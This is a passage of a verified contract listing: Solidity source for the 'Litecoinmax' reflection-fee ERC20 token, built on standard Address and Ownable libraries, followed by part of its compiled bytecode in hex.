2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Litecoinmax is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**5 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Litecoinmax'; string private _symbol = 'lMax'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 1000000 * 10**5 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e9961461063b578063d543dbeb14610695578063dd62ed3e146106c3578063f2cc0c181461073b578063f2fde38b1461077f578063f84354f1146107c35761014d565b8063715018a6146104945780637d1db4a51461049e5780638da5cb5b146104bc57806395d89b41146104f0578063a457c2d714610573578063a9059cbb146105d75761014d565b806323b872dd1161011557806323b872dd146102a35780632d83811914610327578063313ce56714610369578063395093511461038a5780634549b039146103ee57806370a082311461043c5761014d565b8063053ab1821461015257806306fdde0314610180578063095ea7b31461020357806313114a9d1461026757806318160ddd14610285575b600080fd5b61017e6004803603602081101561016857600080fd5b8101908080359060200190929190505050610807565b005b610188610997565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a39565b60405180821515815260200191505060405180910390f35b61026f610a57565b6040518082815260200191505060405180910390f35b61028d610a61565b6040518082815260200191505060405180910390f35b61030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a72565b60405180821515815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610b4b565b6040518082815260200191505060405180910390f35b610371610bcf565b604051808260ff16815260200191505060405180910390f35b6103d6600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be6565b60405180821515815260200191505060405180910390f35b6104266004803603604081101561040457600080fd5b8101908080359060200190929190803515159060200190929190505050610c99565b6040518082815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d55565b6040518082815260200191505060405180910390f35b61049c610e40565b005b6104a6610fc6565b6040518082815260200191505060405180910390f35b6104c4610fcc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f8610ff5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053857808201518184015260208101905061051d565b50505050905090810190601f1680156105655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105bf6004803603604081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611097565b60405180821515815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611164565b60405180821515815260200191505060405180910390f35b61067d6004803603602081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611182565b60405180821515815260200191505060405180910390f35b6106c1600480360360208110156106ab57600080fd5b81019080803590602001909291905050506111d8565b005b610725600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d8565b6040518082815260200191505060405180910390f35b61077d6004803603602081101561075157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b005b6107c16004803603602081101561079557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611679565b005b610805600480360360208110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611884565b005b6000610811611c0e565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613544602c913960400191505060405180910390fd5b60006108c183611c16565b50505050905061091981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097181600654611c6e90919063ffffffff16565b60068190555061098c83600754611cb890919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a2f5780601f10610a0457610100808354040283529160200191610a2f565b820191906000526020600020905b815481529060010190602001808311610a1257829003601f168201915b5050505050905090565b6000610a4d610a46611c0e565b8484611d40565b6001905092915050565b6000600754905090565b600068056bc75e2d63100000905090565b6000610a7f848484611f37565b610b4084610a8b611c0e565b610b3b856040518060600160405280602881526020016134aa60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af1611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124679092919063ffffffff16565b611d40565b600190509392505050565b6000600654821115610ba8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806133ef602a913960400191505060405180910390fd5b6000610bb2612527565b9050610bc7818461255290919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c8f610bf3611c0e565b84610c8a8560036000610c04611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b611d40565b6001905092915050565b600068056bc75e2d63100000831115610d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610d39576000610d2a84611c16565b50505050905080915050610d4f565b6000610d4484611c16565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610df057600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e3b565b610e38600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4b565b90505b919050565b610e48611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561108d5780601f106110625761010080835404028352916020019161108d565b820191906000526020600020905b81548152906001019060200180831161107057829003601f168201915b5050505050905090565b600061115a6110a4611c0e565b846111558560405180606001604052806025815260200161357060259139600360006110ce611c0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124679092919063ffffffff16565b611d40565b6001905092915050565b6000611178611171611c0e565b8484611f37565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111e0611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112cf60646112c18368056bc75e2d6310000061259c90919063ffffffff16565b61255290919063ffffffff16565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611367611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115bb57611577600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4b565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611681611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611741576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806134196026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61188c611c0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611c0a578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611a3f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bfd57600560016005805490500381548110611a9b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611ad357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611bc357fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611c0a565b8080600101915050611a0e565b5050565b600033905090565b6000806000806000806000611c2a88612622565b915091506000611c38612527565b90506000806000611c4a8c8686612674565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611cb083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612467565b905092915050565b600080828401905083811015611d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806135206024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061343f6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806134fb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612043576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133cc6023913960400191505060405180910390fd5b6000811161209c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134d26029913960400191505060405180910390fd5b6120a4610fcc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211257506120e2610fcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561217357600b54811115612172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806134616028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122165750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561222b576122268383836126d2565b612462565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122e3576122de838383612925565b612461565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123875750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561239c57612397838383612b78565b612460565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561243e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124535761244e838383612d36565b61245f565b61245e838383612b78565b5b5b5b5b505050565b6000838311158290612514576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124d95780820151818401526020810190506124be565b50505050905090810190601f1680156125065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061253461301e565b9150915061254b818361255290919063ffffffff16565b9250505090565b600061259483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132cb565b905092915050565b6000808314156125af576000905061261c565b60008284029050828482816125c057fe5b0414612617576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134896021913960400191505060405180910390fd5b809150505b92915050565b600080600061264e600261264060648761255290919063ffffffff16565b61259c90919063ffffffff16565b905060006126658286611c6e90919063ffffffff16565b90508082935093505050915091565b60008060008061268d858861259c90919063ffffffff16565b905060006126a4868861259c90919063ffffffff16565b905060006126bb8284611c6e90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060008060006126e386611c16565b9450945094509450945061273f86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061286984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128b68382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061293686611c16565b9450945094509450945061299285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e909190